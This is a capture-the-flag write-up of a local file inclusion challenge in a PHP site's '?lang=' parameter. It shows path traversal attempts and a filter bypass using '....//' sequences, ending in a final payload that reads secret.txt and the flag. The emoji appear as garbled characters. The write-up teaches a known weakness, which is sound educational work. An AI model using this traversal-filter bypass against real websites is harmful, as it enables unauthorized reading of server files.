We had a basic website with a language switcher:

?lang=en.php

And a hint saying:

  • files are inside /languages/
  • there is a file called secret.txt

So instantly I'm thinking:

๐Ÿ‘€ okay this smells like LFI

๐Ÿ” Step 1 โ€” Understand the behavior

Tried normal usage:

?lang=en.php
?lang=ar.php

Works fine.

So backend is probably something like:

include("languages/" . $_GET['lang']);

Which means we control what gets included โ†’ nice.

๐Ÿงช Step 2 โ€” Try basic attack

Started with the obvious:

?lang=../secret.txt
?lang=../../secret.txt

But:

โŒ File not found

So yeahโ€ฆ there's a filter.

โš ๏ธ Step 3 โ€” Bypass the filter

At this point I thought:

they're probably blocking ../ only

So I tried something a bit weird:

?lang=....//en.php

๐Ÿ’ฅ and it worked.

๐Ÿง  Why this worked (important)

The trick:

....//

gets treated like:

../

So if the filter only blocks exact ../ โ†’ we bypass it easily.

This is a classic weak filter mistake.

๐ŸŽฏ Step 4โ€” Get the flag

Now just try reaching secret.txt:

?lang=....//....//....//secret.txt

๐Ÿ’ฅ and boom:

DTU{LFI_Filter_Byp2ss_Is_Fun}

๐Ÿ Final Payload

?lang=....//....//....//secret.txt

๐Ÿšฉ Flag

DTU{LFI_Filter_Byp2ss_Is_Fun}

๐Ÿ’ญ Final Thoughts

Simple challenge but very useful:

  • weak filters are easy to break
  • always try weird patterns (....//)
  • errors can leak important info

๐Ÿ™Œ Credits

Big thanks to the organizers for the great challenge and smooth experience:

  • @m4lb3nder
  • @4L13N_X

Really enjoyed this one ๐Ÿ‘๐Ÿ”ฅ